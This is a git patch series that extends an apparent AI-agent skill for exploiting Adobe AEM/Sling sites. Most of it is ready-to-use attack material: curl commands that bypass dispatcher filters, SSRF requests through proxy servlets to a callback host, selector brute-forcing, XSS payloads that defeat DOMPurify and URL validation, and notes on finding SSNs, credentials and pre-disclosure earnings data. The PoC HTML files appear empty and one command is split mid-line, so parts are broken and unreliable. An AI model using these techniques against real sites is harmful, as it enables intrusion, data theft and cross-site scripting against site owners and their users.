From bd54165ee157e4438a198f9a71068322769ae44d Mon Sep 17 00:00:00 2001
From: GangGreenTemperTatum
<104169244+GangGreenTemperTatum@users.noreply.github.com>
Date: Fri, 29 May 2026 10:38:07 -0400
Subject: [PATCH 1/2] chore: enhance adobe aem skills and pocs for web
---
.claude/worktrees/ads+cap-987-skill-optimizer | 1 +
.../skills/aem-sling-exploitation/SKILL.md | 8 +--
.../dispatcher-bypass-patterns.md | 47 ++++++++++++++++-
.../javascript-uri-validation-bypass.html | 45 ++++++++++++++++
.../pocs/jquery-text-dompurify-bypass.html | 47 +++++++++++++++++
.../pocs/moment-format-xss.html | 51 +++++++++++++++++++
.../aem-sling-exploitation/xss-gadgets.md | 17 +++++++
findings.md | 20 ++++++++
progress.md | 39 ++++++++++++++
task_plan.md | 45 ++++++++++++++++
10 files changed, 314 insertions(+), 6 deletions(-)
create mode 160000 .claude/worktrees/ads+cap-987-skill-optimizer
create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html
create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html
create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html
create mode 100644 findings.md
create mode 100644 progress.md
create mode 100644 task_plan.md
diff --git a/.claude/worktrees/ads+cap-987-skill-optimizer b/.claude/worktrees/ads+cap-987-skill-optimizer
new file mode 160000
index 0000000..0945384
--- /dev/null
+++ b/.claude/worktrees/ads+cap-987-skill-optimizer
@@ -0,0 +1 @@
+Subproject commit 094538496ff6c137bcd1734e1a0560f5ad8ae89a
diff --git a/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md b/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md
index 2395bb4..c1bbd96 100644
--- a/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md
+++ b/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md
@@ -130,15 +130,15 @@ curl -sk "https://TARGET/etc/packages.json"
curl -sk "https://TARGET/crx/packmgr/list.jsp"
```
-**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content` and `/content/dam`.
+**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content`, `/content/dam`, and `/var`. Financial institutions: pre-disclosure earnings reports in `/content` = insider-trading-grade impact. `/etc/packages` may contain source code, DB credentials, and API keys (Akamai keys = full WAF control + origin pivoting).
## 5. Default permissions footgun
The anonymous user belongs to the `everyone` group by default. Every "open to all users" JCR ACL also applies to unauthenticated visitors. Test:
```bash
-# Check anonymous access to /libs, /apps, /etc
-for path in /libs /apps /etc /content /home; do
+# Check anonymous access to /libs, /apps, /etc, /var
+for path in /libs /apps /etc /content /home /var; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}.1.json")
echo "$path → $code"
done
@@ -192,9 +192,9 @@ See [xss-gadgets.md](xss-gadgets.md) for moment.js format injection, jQuery `.te
**Key check:** If dispatcher blocks are the only defense, they can be bypassed. If JCR ACLs are in place, selector abuse hits 403 at the Sling layer — game over.
## Chain With
+- `hopgoblin` (automated CVE scan first, then manual exploitation here)
- `apache-confusion-attacks` (if Apache httpd fronts AEM dispatcher)
- `403-bypass` (dispatcher returns 403, try header/path manipulation)
- `dom-vulnerability-detection` (for AEM-specific XSS gadgets in client JS)
- `parser-differential-bypass` (dispatcher vs Sling parsing differences)
- `write-path-to-rce` (if file write is achievable on AMS instances)
-- **hopgoblin** (external tool) — automated AEM CVE scanner, run first for known vulns
diff --git a/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md b/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md
index 5fc5597..dd0a8a6 100644
--- a/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md
+++ b/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md
@@ -3,15 +3,27 @@
When direct paths are blocked, use selector/suffix manipulation:
```bash
-# Extension confusion
+# Extension confusion — dispatcher allows static extensions, Sling drops unrecognized ones
curl -sk "https://TARGET/bin/querybuilder.json" # blocked
curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" # bypass via form suffix
+curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=/etc" # extension confusion on merge servlet
+curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=
&.html" # force HTML via suffix
# Selector stacking
curl -sk "https://TARGET/content/page.listParagraphs.html" # blocked
curl -sk "https://TARGET/content/page.form.js/content/page.listParagraphs.html" # form → listParagraphs
-# Path encoding
+# Double bypass chain anatomy:
+# /content/site/page.form.js/content/site/page.listParagraphs.html?itemResourceType=...&path=
+# ├─ Dispatcher sees ".form.js" (allowed static extension) ──────────────────────────────────────┐
+# ├─ Sling forwards suffix as new request path: /content/site/page.listParagraphs.html │
+# └─ listParagraphs resolves /libs JSP internally (second bypass) ──── XSS executes ─────────────┘
+
+# Encoded slash bypass (%2F) — bypasses dispatcher path filters
+curl -sk "https://TARGET/%2fbin%2fquerybuilder.json?path=/etc"
+curl -sk "https://TARGET/%2fetc%2ftruststore.json"
+
+# Path encoding variants
curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json"
curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json"
@@ -19,3 +31,34 @@ curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json"
curl -sk "https://TARGET/bin/querybuilder.json;.css"
curl -sk "https://TARGET/bin/querybuilder.json;x=.ico"
```
+
+## SSRF via AEM Proxy Servlets
+
+```bash
+# Opensocial/Shindig proxy (common on older AEM)
+curl -sk "https://TARGET/libs/opensocial/proxy?container=default&url=http://CALLBACK"
+curl -sk "https://TARGET/libs/shindig/proxy?container=default&url=http://CALLBACK"
+
+# ReportingServicesProxyServlet (CVE-2018-12809)
+curl -sk "https://TARGET/libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://CALLBACK"
+curl -sk "https://TARGET/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://CALLBACK"
+
+# SiteCatalystServlet SSRF
+curl -sk "https://TARGET/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet"
+curl -sk "https://TARGET/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json"
+```
+
+## Error-Path Selector Chaining Strategy
+
+When one selector is blocked by dispatcher rules, fuzz for a second selector producing reflection on a different error code path. Different HTTP status codes (400, 403, 404, 500) may route through different error handlers with different filtering:
+
+```bash
+# If rawcontent alone is blocked, savedsearch produces 400 errors with path reflection
+curl -sk "https://TARGET/content/nonexistent.savedsearch.rawcontent.html"
+
+# Brute-force error-path selectors
+for sel in savedsearch feed model tidy childrenlist; do
+ code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/content/nonexistent.${sel}.rawcontent.html")
+ echo "$sel → $code"
+done
+```
diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html
new file mode 100644
index 0000000..4c1b59f
--- /dev/null
+++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html
@@ -0,0 +1,45 @@
+
+
+
+
+
+
+
URL XSS Tester
+
+
+
+
+
+
+
+
+
+
diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html
new file mode 100644
index 0000000..e7414bc
--- /dev/null
+++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html
@@ -0,0 +1,47 @@
+
+
+
+
+
+
+
+
+
Text XSS Tester
+
+
+
+
+
+
+
+
+
+
diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html
new file mode 100644
index 0000000..9b628f7
--- /dev/null
+++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html
@@ -0,0 +1,51 @@
+
+
+
+ Just a moment...
+
+
+
+
+
+
Date Formatter
+
+
+
+
+
+
+
+
+
+
diff --git a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md
index 5346319..5442612 100644
--- a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md
+++ b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md
@@ -1,12 +1,19 @@
# AEM-Specific XSS Gadgets
+These gadgets apply to AEM sites and beyond — any webapp using these libraries. Source: Jim Green (600+ AEM CVEs).
+
### moment.js format injection
If user input controls `moment().format()` argument and output hits innerHTML:
```javascript
moment().format("[
]")
// Square brackets = literal output in moment.js format strings
+// moment.js is deprecated but extremely common in AEM clientlibs
```
+**Detection:** Search AEM clientlibs for `moment(` imports. Check if any format string derives from user input (URL params, form fields, API responses).
+
+**PoC:** [moment-format-xss.html](pocs/moment-format-xss.html) — loads moment.js from CDN, format param from query string.
+
### jQuery .text() entity re-decoding
Post-DOMPurify bypass chain:
```javascript
@@ -20,6 +27,12 @@ el.innerHTML = text; // re-parses as HTML → XSS
// DOMPurify sees entities (safe) → browser decodes → .text() reads raw tags → innerHTML executes
```
+**Detection:** Search AEM clientlibs for `DOMPurify.sanitize` followed by `.text()` or `.textContent` flowing back into `innerHTML`, `.html()`, or `document.write`. Also check `.val()` reads that get re-rendered.
+
+**Key insight:** "Always check what happens to sanitized output when read back via `.text()`, `.val()`, `.textContent`"
+
+**PoC:** [jquery-text-dompurify-bypass.html](pocs/jquery-text-dompurify-bypass.html) — DOMPurify + jQuery `.text()` chain.
+
### javascript: URI property population
```javascript
let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document.domain)");
@@ -28,3 +41,7 @@ let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document
// u.port === "443" (passes port checks)
// After javascript: scheme is stripped, // starts a JS single-line comment. %0a newline ends it. Code after executes.
```
+
+**Detection:** Search for `new URL(` combined with hostname/pathname validation before `window.open()`, `location.href`, or link `href` assignment. Common in redirect handlers and OAuth flows on AEM sites.
+
+**PoC:** [javascript-uri-validation-bypass.html](pocs/javascript-uri-validation-bypass.html) — URL constructor validation + `window.open`.
diff --git a/findings.md b/findings.md
new file mode 100644
index 0000000..5288b8c
--- /dev/null
+++ b/findings.md
@@ -0,0 +1,20 @@
+# Findings: Web-Security Issue Tracker Integrations
+
+## Existing Web-Security Patterns
+
+- `web-security` already declares inline MCP servers in `capability.yaml`.
+- Existing `mcp/hackerone.py` is the closest integration pattern: self-contained PEP 723 script, FastMCP, lazy async `httpx.AsyncClient`, env-var auth, health tool, report create/comment tools, and mocked tests via a FastMCP stub.
+- The agent prompt enforces a validation/reporting pipeline before any submission: `assess_confidence`, `report-preflight`, `exploit-verifier`, `report-writer`.
+- A connector should be a delivery/export surface after validation, not part of discovery.
+
+## Connector Scope Decisions
+
+- Jira: likely MCP server with Cloud REST API v3, basic auth/API token first. Main formatting issue is Jira ADF; MVP can generate simple ADF paragraphs from Markdown/plain text rather than full Markdown fidelity.
+- Linear: GraphQL API or official MCP. For portability inside this capability, a local MCP gives predictable tool names and tests.
+- GitHub: could be skill-only with `gh`, but runtime portability favors a small local MCP unless default GitHub tooling is guaranteed.
+
+## Official API Notes
+
+- Jira Cloud REST issues API supports create/get/edit/assign/transition/create metadata.
+- Linear GraphQL endpoint is `https://api.linear.app/graphql`; `issueCreate` accepts `title`, `description`, `teamId`.
+- GitHub create issue via REST requires fine-grained token with `Issues: write`.
diff --git a/progress.md b/progress.md
new file mode 100644
index 0000000..c58f06c
--- /dev/null
+++ b/progress.md
@@ -0,0 +1,39 @@
+# Progress: Web-Security Issue Tracker Integrations
+
+## Session Log
+
+- Started implementation planning for ENG-6951, ENG-6952, ENG-6953.
+- Confirmed repo is on `main` tracking `origin/main`; untracked `.claude/` exists and must be left alone.
+
+## Branches / Worktrees
+
+| Issue | Branch | Worktree | Status |
+|---|---|---|---|
+| ENG-6951 | `ads/eng-6951-jira-web-security` | `/Users/ads/git/capabilities-eng-6951` | implementation validated, uncommitted |
+| ENG-6952 | `ads/eng-6952-linear-web-security` | `/Users/ads/git/capabilities-eng-6952` | implementation validated, uncommitted |
+| ENG-6953 | `ads/eng-6953-github-web-security` | `/Users/ads/git/capabilities-eng-6953` | implementation validated, uncommitted |
+
+## Validation Results
+
+| Issue | Command | Result | Notes |
+|---|---|---|---|
+| ENG-6951 | `uv run pytest capabilities/web-security/tests/test_jira_mcp.py` | passed | 10 tests |
+| ENG-6951 | `mypy capabilities/web-security/mcp/jira.py capabilities/web-security/tests/test_jira_mcp.py --ignore-missing-imports` | passed | no issues |
+| ENG-6951 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/mcp/jira.py capabilities/web-security/tests/test_jira_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks |
+| ENG-6951 | `just validate` | passed with warnings | 0 failed; unrelated warnings for bloodhound-enterprise runtime imports, web-security caido/burp checks, windows Java |
+| ENG-6951 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/jira.py` starts and remains running |
+| ENG-6951 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 146 passed, 7 existing pytest warnings |
+| ENG-6952 | `uv run pytest capabilities/web-security/tests/test_linear_mcp.py` | passed | 11 tests |
+| ENG-6952 | `mypy capabilities/web-security/mcp/linear.py capabilities/web-security/tests/test_linear_mcp.py --ignore-missing-imports` | passed | no issues |
+| ENG-6952 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/mcp/linear.py capabilities/web-security/tests/test_linear_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks |
+| ENG-6952 | `just validate` | passed with warnings | 0 failed; same unrelated warnings as ENG-6951 |
+| ENG-6952 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/linear.py` starts and remains running |
+| ENG-6952 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 147 passed, 7 existing pytest warnings |
+| ENG-6952 | `git diff --check` | passed | no whitespace errors |
+| ENG-6953 | `uv run pytest capabilities/web-security/tests/test_github_mcp.py` | passed | 10 tests |
+| ENG-6953 | `mypy capabilities/web-security/mcp/github.py capabilities/web-security/tests/test_github_mcp.py --ignore-missing-imports` | passed | no issues |
+| ENG-6953 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/agents/web-security.md capabilities/web-security/mcp/github.py capabilities/web-security/tests/test_github_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks |
+| ENG-6953 | `just validate` | passed with warnings | 0 failed; same unrelated warnings as ENG-6951 |
+| ENG-6953 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/github.py` starts and remains running |
+| ENG-6953 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 146 passed, 7 existing pytest warnings |
+| ENG-6953 | `git diff --check` | passed | no whitespace errors |
diff --git a/task_plan.md b/task_plan.md
new file mode 100644
index 0000000..0e82912
--- /dev/null
+++ b/task_plan.md
@@ -0,0 +1,45 @@
+# Task Plan: Web-Security Issue Tracker Integrations
+
+## Goal
+
+Implement Jira, Linear, and GitHub integrations for the `web-security` capability, one Linear task per isolated git worktree/branch:
+
+- ENG-6951: Jira integration
+- ENG-6952: Linear integration
+- ENG-6953: GitHub integration
+
+Each connector must pass formatting, linting, type checks, tests, `just validate`, and work with the Dreadnode TUI through the `web-security` capability before PR readiness.
+
+## Constraints
+
+- Use one unique worktree and branch per connector.
+- Commit/push/open PR only when fully confident.
+- Preserve existing repo patterns.
+- Do not rename existing tools/agents/skills without need.
+- Keep integrations efficient and scoped to validated finding/report export.
+- Leave planning files uncommitted unless explicitly requested.
+
+## Phases
+
+| Phase | Status | Notes |
+|---|---|---|
+| Planning and base inspection | complete | Established worktrees, shared patterns, validation commands |
+| ENG-6951 Jira | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed |
+| ENG-6952 Linear | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed |
+| ENG-6953 GitHub | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed |
+| Final review | complete | Branches ready for human review; no commits/pushes/PRs made |
+
+## Validation Checklist Per Branch
+
+- `uv run pytest capabilities/web-security/tests/`
+- `pre-commit run --files `
+- `just validate`
+- capability/MCP load smoke test for Dreadnode TUI compatibility
+- `git diff --check`
+
+## Errors Encountered
+
+| Error | Attempt | Resolution |
+|---|---|---|
+| `timeout` command unavailable on macOS during MCP smoke | ENG-6951 attempt 1 | Use Python `subprocess.run(..., timeout=...)` instead |
+| Full web-security pytest collection could not import bare `bbscope` | ENG-6951 attempt 1 | Rerun with `PYTHONPATH=capabilities/web-security/tools` |
From c092e1068258b7a9df66b2e18e66f39d555b25c9 Mon Sep 17 00:00:00 2001
From: GangGreenTemperTatum
<104169244+GangGreenTemperTatum@users.noreply.github.com>
Date: Fri, 29 May 2026 10:46:24 -0400
Subject: [PATCH 2/2] chore: enhance adobe aem skills and pocs for web
Added encoded slash bypass (%2F), SSRF proxy servlets (opensocial, shindig,
reportingservices CVE-2018-12809, sitecatalyst), dam/merge/metadata extension
confusion, error-path selector chaining strategy, double-bypass chain visual,
/var path enumeration, financial data hunting notes, XSS gadget detection
guidance and local PoC references.
---
.claude/worktrees/ads+cap-987-skill-optimizer | 1 -
findings.md | 20 ---------
progress.md | 39 ----------------
task_plan.md | 45 -------------------
4 files changed, 105 deletions(-)
delete mode 160000 .claude/worktrees/ads+cap-987-skill-optimizer
delete mode 100644 findings.md
delete mode 100644 progress.md
delete mode 100644 task_plan.md
diff --git a/.claude/worktrees/ads+cap-987-skill-optimizer b/.claude/worktrees/ads+cap-987-skill-optimizer
deleted file mode 160000
index 0945384..0000000
--- a/.claude/worktrees/ads+cap-987-skill-optimizer
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 094538496ff6c137bcd1734e1a0560f5ad8ae89a
diff --git a/findings.md b/findings.md
deleted file mode 100644
index 5288b8c..0000000
--- a/findings.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# Findings: Web-Security Issue Tracker Integrations
-
-## Existing Web-Security Patterns
-
-- `web-security` already declares inline MCP servers in `capability.yaml`.
-- Existing `mcp/hackerone.py` is the closest integration pattern: self-contained PEP 723 script, FastMCP, lazy async `httpx.AsyncClient`, env-var auth, health tool, report create/comment tools, and mocked tests via a FastMCP stub.
-- The agent prompt enforces a validation/reporting pipeline before any submission: `assess_confidence`, `report-preflight`, `exploit-verifier`, `report-writer`.
-- A connector should be a delivery/export surface after validation, not part of discovery.
-
-## Connector Scope Decisions
-
-- Jira: likely MCP server with Cloud REST API v3, basic auth/API token first. Main formatting issue is Jira ADF; MVP can generate simple ADF paragraphs from Markdown/plain text rather than full Markdown fidelity.
-- Linear: GraphQL API or official MCP. For portability inside this capability, a local MCP gives predictable tool names and tests.
-- GitHub: could be skill-only with `gh`, but runtime portability favors a small local MCP unless default GitHub tooling is guaranteed.
-
-## Official API Notes
-
-- Jira Cloud REST issues API supports create/get/edit/assign/transition/create metadata.
-- Linear GraphQL endpoint is `https://api.linear.app/graphql`; `issueCreate` accepts `title`, `description`, `teamId`.
-- GitHub create issue via REST requires fine-grained token with `Issues: write`.
diff --git a/progress.md b/progress.md
deleted file mode 100644
index c58f06c..0000000
--- a/progress.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# Progress: Web-Security Issue Tracker Integrations
-
-## Session Log
-
-- Started implementation planning for ENG-6951, ENG-6952, ENG-6953.
-- Confirmed repo is on `main` tracking `origin/main`; untracked `.claude/` exists and must be left alone.
-
-## Branches / Worktrees
-
-| Issue | Branch | Worktree | Status |
-|---|---|---|---|
-| ENG-6951 | `ads/eng-6951-jira-web-security` | `/Users/ads/git/capabilities-eng-6951` | implementation validated, uncommitted |
-| ENG-6952 | `ads/eng-6952-linear-web-security` | `/Users/ads/git/capabilities-eng-6952` | implementation validated, uncommitted |
-| ENG-6953 | `ads/eng-6953-github-web-security` | `/Users/ads/git/capabilities-eng-6953` | implementation validated, uncommitted |
-
-## Validation Results
-
-| Issue | Command | Result | Notes |
-|---|---|---|---|
-| ENG-6951 | `uv run pytest capabilities/web-security/tests/test_jira_mcp.py` | passed | 10 tests |
-| ENG-6951 | `mypy capabilities/web-security/mcp/jira.py capabilities/web-security/tests/test_jira_mcp.py --ignore-missing-imports` | passed | no issues |
-| ENG-6951 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/mcp/jira.py capabilities/web-security/tests/test_jira_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks |
-| ENG-6951 | `just validate` | passed with warnings | 0 failed; unrelated warnings for bloodhound-enterprise runtime imports, web-security caido/burp checks, windows Java |
-| ENG-6951 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/jira.py` starts and remains running |
-| ENG-6951 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 146 passed, 7 existing pytest warnings |
-| ENG-6952 | `uv run pytest capabilities/web-security/tests/test_linear_mcp.py` | passed | 11 tests |
-| ENG-6952 | `mypy capabilities/web-security/mcp/linear.py capabilities/web-security/tests/test_linear_mcp.py --ignore-missing-imports` | passed | no issues |
-| ENG-6952 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/mcp/linear.py capabilities/web-security/tests/test_linear_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks |
-| ENG-6952 | `just validate` | passed with warnings | 0 failed; same unrelated warnings as ENG-6951 |
-| ENG-6952 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/linear.py` starts and remains running |
-| ENG-6952 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 147 passed, 7 existing pytest warnings |
-| ENG-6952 | `git diff --check` | passed | no whitespace errors |
-| ENG-6953 | `uv run pytest capabilities/web-security/tests/test_github_mcp.py` | passed | 10 tests |
-| ENG-6953 | `mypy capabilities/web-security/mcp/github.py capabilities/web-security/tests/test_github_mcp.py --ignore-missing-imports` | passed | no issues |
-| ENG-6953 | `pre-commit run --files capabilities/web-security/capability.yaml capabilities/web-security/agents/web-security.md capabilities/web-security/mcp/github.py capabilities/web-security/tests/test_github_mcp.py` | passed | check-yaml, ruff, ruff-format, gitleaks |
-| ENG-6953 | `just validate` | passed with warnings | 0 failed; same unrelated warnings as ENG-6951 |
-| ENG-6953 | MCP startup smoke via Python subprocess timeout | passed | `uv run capabilities/web-security/mcp/github.py` starts and remains running |
-| ENG-6953 | `PYTHONPATH=capabilities/web-security/tools uv run pytest capabilities/web-security/tests` | passed | 146 passed, 7 existing pytest warnings |
-| ENG-6953 | `git diff --check` | passed | no whitespace errors |
diff --git a/task_plan.md b/task_plan.md
deleted file mode 100644
index 0e82912..0000000
--- a/task_plan.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# Task Plan: Web-Security Issue Tracker Integrations
-
-## Goal
-
-Implement Jira, Linear, and GitHub integrations for the `web-security` capability, one Linear task per isolated git worktree/branch:
-
-- ENG-6951: Jira integration
-- ENG-6952: Linear integration
-- ENG-6953: GitHub integration
-
-Each connector must pass formatting, linting, type checks, tests, `just validate`, and work with the Dreadnode TUI through the `web-security` capability before PR readiness.
-
-## Constraints
-
-- Use one unique worktree and branch per connector.
-- Commit/push/open PR only when fully confident.
-- Preserve existing repo patterns.
-- Do not rename existing tools/agents/skills without need.
-- Keep integrations efficient and scoped to validated finding/report export.
-- Leave planning files uncommitted unless explicitly requested.
-
-## Phases
-
-| Phase | Status | Notes |
-|---|---|---|
-| Planning and base inspection | complete | Established worktrees, shared patterns, validation commands |
-| ENG-6951 Jira | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed |
-| ENG-6952 Linear | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed |
-| ENG-6953 GitHub | complete | Implemented, tests/pre-commit/mypy/validate/MCP smoke passed |
-| Final review | complete | Branches ready for human review; no commits/pushes/PRs made |
-
-## Validation Checklist Per Branch
-
-- `uv run pytest capabilities/web-security/tests/`
-- `pre-commit run --files `
-- `just validate`
-- capability/MCP load smoke test for Dreadnode TUI compatibility
-- `git diff --check`
-
-## Errors Encountered
-
-| Error | Attempt | Resolution |
-|---|---|---|
-| `timeout` command unavailable on macOS during MCP smoke | ENG-6951 attempt 1 | Use Python `subprocess.run(..., timeout=...)` instead |
-| Full web-security pytest collection could not import bare `bbscope` | ENG-6951 attempt 1 | Rerun with `PYTHONPATH=capabilities/web-security/tools` |